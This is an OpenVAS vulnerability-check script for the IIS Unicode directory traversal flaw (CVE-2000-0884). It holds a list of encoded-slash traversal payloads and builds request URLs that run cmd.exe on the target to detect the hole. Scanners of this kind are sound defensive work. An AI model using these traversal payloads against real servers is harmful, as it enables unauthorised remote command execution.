The remote IIS server allows anyone to execute arbitrary commands
by adding a unicode representation for the slash character
in the requested path.
# OpenVAS Vulnerability Test
# $Id: iis_dir_traversal.nasl 8023 2017-12-07 08:36:26Z teissa $
# Description: IIS directory traversal
#
# Authors:
# First written Renaud Deraison then
# completely re-written by HD Moore
#
# Copyright:
# Copyright (C) 2001 H D Moore
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2,
# as published by the Free Software Foundation
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
#
tag_summary = "The remote IIS server allows anyone to execute arbitrary commands
by adding a unicode representation for the slash character
in the requested path.";
tag_solution = "See http://www.microsoft.com/technet/security/bulletin/ms00-078.mspx";
if(description)
{
script_id(10537);
script_version("$Revision: 8023 $");
script_tag(name:"last_modification", value:"$Date: 2017-12-07 09:36:26 +0100 (Thu, 07 Dec 2017) $");
script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
script_xref(name:"IAVA", value:"2000-a-0005");
script_bugtraq_id(1806);
script_tag(name:"cvss_base", value:"7.5");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_cve_id("CVE-2000-0884");
name = "IIS directory traversal";
script_name(name);
script_category(ACT_GATHER_INFO);
script_tag(name:"qod_type", value:"remote_analysis");
script_copyright("This script is Copyright (C) 2001 H D Moore");
family = "Web Servers";
script_family(family);
script_dependencies("gb_get_http_banner.nasl");
script_mandatory_keys("IIS/banner");
script_require_ports("Services/www", 80);
script_tag(name : "solution" , value : tag_solution);
script_tag(name : "summary" , value : tag_summary);
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
port = get_http_port(default:80);
banner = get_http_banner(port:port);
if ( "IIS" >!< banner ) exit(0);
dir[0] = "/scripts/";
dir[1] = "/msadc/";
dir[2] = "/iisadmpwd/";
dir[3] = "/_vti_bin/"; # FP
dir[4] = "/_mem_bin/"; # FP
dir[5] = "/exchange/"; # OWA
dir[6] = "/pbserver/"; # Win2K
dir[7] = "/rpc/"; # Win2K
dir[8] = "/cgi-bin/";
dir[9] = "/";
uni[0] = "%c0%af";
uni[1] = "%c0%9v";
uni[2] = "%c1%c1";
uni[3] = "%c0%qf";
uni[4] = "%c1%8s";
uni[5] = "%c1%9c";
uni[6] = "%c1%pc";
uni[7] = "%c1%1c";
uni[8] = "%c0%2f";
uni[9] = "%e0%80%af";
function check(req)
{
r = http_keepalive_send_recv(port:port, data:http_get(item:req, port:port));
if(r == NULL){
exit(0);
}
pat = "<DIR>";
pat2 = "Directory of C";
if((pat >< r) || (pat2 >< r)){
security_message(port:port);
return(1);
}
return(0);
}
cmd = "/winnt/system32/cmd.exe?/c+dir+c:\\+/OG";
for(d=0;dir[d];d=d+1)
{
for(u=0;uni[u];u=u+1)
{
url = string(dir[d], "..", uni[u], "..", uni[u], "..", uni[u], "..", uni[u], "..", uni[u], "..", cmd);
if(check(req:url))exit(0);
}
}